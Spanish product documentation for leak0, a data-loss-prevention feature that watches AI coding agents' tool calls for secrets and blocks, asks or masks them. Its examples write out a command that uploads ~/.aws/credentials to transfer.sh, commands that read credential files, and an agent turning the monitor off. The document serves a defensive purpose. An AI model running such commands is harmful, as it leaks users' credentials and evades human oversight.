Agentic DLP: proteger secretos en agentes de IA
leak0 revisa las entradas, las llamadas a herramientas y su salida en sus agentes de IA a través de sus hooks, en el propio dispositivo. Solo bloquea con prueba.
Qué se revisa
| Vía | Ejemplo |
|---|---|
| Commit y subida | git add, git push, npm publish |
| Red y herramientas | curl, scp, consultas web, llamadas MCP |
| Secreto hacia el modelo | cat ~/.aws/credentials, env, un token en su entrada |
| Secreto en archivos equivocados | Un token fijo en el código, en un archivo de CI, un README o un archivo de memoria |
Cuándo bloquea leak0
Un bloqueo necesita una de cinco pruebas. Sin prueba, leak0 pregunta, sustituye el valor por un marcador o da un aviso al agente.
| Prueba | Condición | Ejemplo |
|---|---|---|
| B1 Archivo de credenciales | La llamada afecta a un archivo de credenciales conocido cuyo contenido confirma el tipo. | ~/.aws/credentials, una clave SSH privada |
| B2 Token con suma de verificación | Un token con prefijo conocido y suma de verificación válida. | ghp_…, npm_…, glpat-… |
| B3 Valor conocido | Un secreto detectado en esta sesión aparece literalmente en una llamada saliente. | La clave de AWS en el cuerpo de una llamada curl |
| B4 Destino ajeno | El secreto va a un destino que de forma probada no es suyo, como un servicio de paste o de túnel o una IP pública. | curl -F f=@~/.aws/credentials https://transfer.sh |
| B5 Desactivación | El agente desactiva leak0 o cambia los hooks de PoisonZero. | poison0 leak0 off, ejecutado por el agente |
El mensaje al agente indica la prueba, la clase de regla (por ejemplo leak0:checksum_token_commit) y un hash corto, nunca el valor. Un teléfono vinculado recibe una notificación en cada bloqueo, sin valor, ruta ni comando.
Cuándo pregunta leak0
Cuando un secreto es probable pero no está probado, el agente se detiene antes de la llamada y le pregunta, por ejemplo con:
- un nuevo archivo
.envo de claves con valores reales engit add,git commitogit push, - un archivo de credenciales camino de sus propios servidores, por ejemplo con
scp, - un token con suma de verificación en una carpeta de pruebas o de documentación.
Los marcadores como los de .env.example pasan sin pregunta.
Marcadores en la salida de herramientas
Cuando un secreto aparece en la salida de una herramienta, por ejemplo con cat .env, leak0 sustituye solo el valor antes de que el modelo lo vea: OPENAI_API_KEY=[leak0:openai:a1b2]. Si el valor no se puede aislar o la salida es demasiado grande para revisarla a tiempo, leak0 retiene toda la salida.
Entradas
leak0 revisa su propia entrada, por ejemplo un token pegado, antes de que llegue al modelo.
Cobertura por agente
| Agente | Bloqueo | Pregunta | Marcador | Entrada |
|---|---|---|---|---|
| Claude Code | Sí | Diálogo del agente | Sí | Sí |
| Codex (CLI e IDE) | Sí | Aviso 1 | Sí | Sí |
| Cursor | Sí | Diálogo del agente 2 | Solo MCP 3 | Sí 4 |
| Gemini CLI | Sí | Aviso 1 | Sí | Sí |
| Antigravity CLI | Sí | Diálogo del agente | No 5 | No 5 |
- Sin diálogo desde el hook: la llamada se ejecuta y el agente recibe un aviso. Con un archivo de secretos en Git pregunta el diálogo de PoisonZero.
- En llamadas de shell y MCP.
- En salidas de shell y de archivos el agente recibe un aviso (auditoría:
leak0_warned). - No en el modo de impresión de Cursor CLI (
-p). - El agente solo ofrece un hook antes de la llamada a herramienta.
Todos los agentes compatibles con sus sistemas operativos: Agentes compatibles. En el dispositivo, poison0 leak0 status muestra cada agente como protegido, protegido en parte o no protegido.
Aprobaciones
Un archivo de secretos en Git se aprueba así, según el agente y el entorno:
| Vía | Funcionamiento |
|---|---|
| Diálogo del agente | Claude Code, Cursor y Antigravity CLI preguntan en su propio diálogo de confirmación. |
| Diálogo de PoisonZero | Codex y Gemini CLI. Bloquear está preseleccionado; Permitir exige su inicio de sesión del sistema (Touch ID, Seguridad de Windows o polkit). Sin respuesta tras 90 segundos: bloqueo. |
| Su propio terminal | Sin escritorio, por ejemplo por SSH: poison0 leak0 allow <archivo> aprueba el contenido actual durante 10 minutos de commits y un push, confirmado con su contraseña. |
Un agente no puede dar su inicio de sesión del sistema. Si ejecuta él mismo poison0 leak0 allow, leak0 bloquea (B5). Si el interruptor del perfil cloud Los usuarios pueden aprobar ellos mismos commits con archivos de secretos está desactivado (por defecto: activado), leak0 bloquea con cada agente y rechaza allow.
Modos
| Modo | Efecto |
|---|---|
Activado (enforce) | Bloquea con prueba, pregunta, sustituye secretos y da avisos. |
Observar (observe) | Registra cada coincidencia y nunca interviene. |
Desactivado (off) | Sin revisión. Se aplica hasta que alguien active leak0 de forma deliberada. |
Los dispositivos cloud siguen el perfil de la consola, los privados el ajuste local. leak0 funciona con independencia de exec0.
Activar
- Instalador: pregunta el modo, Activado está preseleccionado.
- Desatendido (MDM, scripts):
PZ_SETUP_LEAK0=enforce. Sin la variable, leak0 queda desactivado. - Consola (dispositivos cloud): Settings → Perfiles, sección leak0. Los dispositivos adoptan el modo en su próxima sincronización.
- Dispositivo privado:
sudo poison0 leak0 enforce.
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
$env:PZ_SETUP_LEAK0='enforce' irm https://poisonzero.com/install.ps1 | iex
Una actualización nunca activa leak0. Codex pregunta una vez si confía en el nuevo hook: confírmelo en Codex con /hooks.
Resultados
Cada decisión queda en la auditoría local, en dispositivos cloud también en la auditoría de la consola. Los bloqueos y los valores sustituidos cuentan como incidentes. El valor secreto, la ruta y el comando nunca aparecen. Todas las acciones: referencia de leak0.